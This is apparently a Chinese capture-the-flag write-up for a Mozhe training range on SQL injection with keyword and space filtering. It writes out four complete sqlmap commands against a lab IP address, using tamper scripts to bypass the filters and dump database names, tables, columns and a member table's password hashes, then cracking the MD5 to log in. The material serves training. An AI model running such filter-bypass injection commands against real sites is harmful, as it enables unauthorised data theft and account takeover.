0x00.题目描述:
背景介绍
安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Apache+PHP+MySQL,PHP代码对客户端提交的参数做了些许过滤。来感受过滤过后的SQL手工注入吧。
实训目标
1、掌握SQL注入原理;
2、了解手工注入的方法;
3、了解字符串的URL加解密;
4、了解SQL注入常用注释字符;
5、了解SQL查询中连接符和判断符的区别;
解题方向
手工进行SQL注入测试,获取管理密码登录。
0x01.解题思路:
靶场环境:
经过测试,确定注入点在维护界面的URL链接的id参数中,并且后台有关键字以及特殊字符的过滤,等号以及空格被过滤,要做URL编码绕过。
手工注入:
手工注入没成功,仅仅是拿到了数据库名,后续的注入转编码太麻烦……所以还是上sqlmap。
sqlmap注入:
上sqlmap前,要先了解SQLMAP的绕过脚本使用,这题中使用到了三个绕过脚本:
1.charencode脚本:URL编码脚本;
2.equaltolike脚本:将等号转换为like脚本;
3.space2comment脚本:空格绕过脚本。
使用的方法:--tamper charencode,equaltolike,space2comment。
爆数据库名payload:python sqlmap.py -u "http://219.153.49.228:44260/new_list.php?id=1" --tamper charencode,equaltoli
ke,space2comment --dbs --batch
爆表名payload:python sqlmap.py -u "http://219.153.49.228:44260/new_list.php?id=1" --tamper charencode,equaltoli
ke,space2comment -D mozhe_discuz_stormgroup --tables --batch
爆列名payload:python sqlmap.py -u "http://219.153.49.228:44260/new_list.php?id=1" --tamper charencode,equaltoli
ke,space2comment -D mozhe_discuz_stormgroup -T stormgroup_member --columns --batch
爆字段payload:python sqlmap.py -u "http://219.153.49.228:44260/new_list.php?id=1" --tamper charencode,equaltoli
ke,space2comment -D mozhe_discuz_stormgroup -T stormgroup_member -C 'status,name,password' --dump --batch
将status为1的密码MD5解密一下即可得到登录密码,接着登录拿key~
0x02.总结:
1.sqlmap使用脚本绕过还是很强大的,前提是要知道,后台是怎么过滤的,这个手工测试会比较好。
2.URL编码,很多在线的转码不是完全转码,比如说有些字母和数字是不转的,但是很多时候需要将关键字转码来进行绕过,这个需要注意!